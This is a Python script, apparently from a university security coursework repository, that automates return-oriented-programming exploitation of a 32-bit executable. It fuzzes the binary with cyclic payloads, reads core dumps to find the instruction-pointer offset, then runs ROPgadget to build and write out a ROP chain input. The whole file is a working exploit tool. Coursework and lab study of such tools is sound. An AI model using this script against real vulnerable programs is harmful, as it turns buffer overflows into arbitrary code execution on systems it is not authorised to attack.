security-cw/auto-rop.py

88 lines
2.9 KiB
Python
Raw Normal View History

2020-11-25 15:16:52 +00:00
from pwnlib.elf.corefile import Coredump
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib.tubes.process import process, signal
2020-11-25 15:16:52 +00:00
import os
import sys
import subprocess
import argparse
from contextlib import redirect_stderr
2020-11-25 15:16:52 +00:00
print(r'''
_ ___ _.--. ___ _____ ______ _____ ______ ______
\`.|\..----...-'` `-._.-'_.-'` / _ \ / ____| /\ |____ / ____| /\ | ____| ____|
/ ' ` , __.--' | | | |_ _| | / \ / / | / \ | |__ | |__
)/' _/ \ `-_, / | | | \ \/ / | / /\ \ / /| | / /\ \ | __| | __|
`-'" `"\_ ,_.-;_.-\_ ', | |_| |> <| |____ / ____ \ / / | |____ / ____ \| | | |____
_.-'_./ {_.' ; / \___//_/\_\\_____/_/ \_\/_/ \_____/_/ \_\_| |______|
{_.-``-' {_/
''')
2020-11-25 15:16:52 +00:00
arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--core", "--c", metavar="core_file", default="core", type=str, help="The name of the generated core file")
arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
args = arg_parser.parse_args()
exec_file = args.exec_file
core_file = args.core
rop_file = args.rop_file
def find_offset(exec_file, core_file):
input_file = "input.txt"
try:
os.remove(core_file)
except:
pass
payload_size = 32
while payload_size <= 16384:
print(f"[🤔] Trying payload {payload_size}...")
with open(input_file, "wb") as f:
payload = cyclic(payload_size)
f.write(payload)
process([f"./{exec_file}", input_file]).wait()
try:
with open("/dev/null", "w") as f, redirect_stderr(f):
core = Coredump(f"./{core_file}")
if core and pack(core.eip) in payload:
offset = cyclic_find(core.eip)
print(f"[😳] Found offset at {offset}!")
return offset
except FileNotFoundError:
pass
2020-11-25 15:16:52 +00:00
os.remove(input_file)
payload_size *= 2
raise BaseException("[😞] Failed to find offset.")
2020-11-25 15:16:52 +00:00
offset = find_offset(exec_file, core_file)
2020-11-25 15:16:52 +00:00
print(f"[🤔] Running ROPgadget with offset {offset}...")
result = subprocess.run(
[
"ROPgadget",
"--binary", exec_file,
"--ropchain",
"--silent",
"--paddingLen", str(offset)
],
stdout = subprocess.PIPE
)
with open("script.py", "wb") as f:
f.write(result.stdout)
2020-11-25 15:16:52 +00:00
print(f"[🤔] Running generated script to create ROP input file...")
process(["python3", "script.py", rop_file]).wait()
2020-11-25 15:16:52 +00:00
print(f"[🤩] All done! The ROP input is saved to {rop_file}!")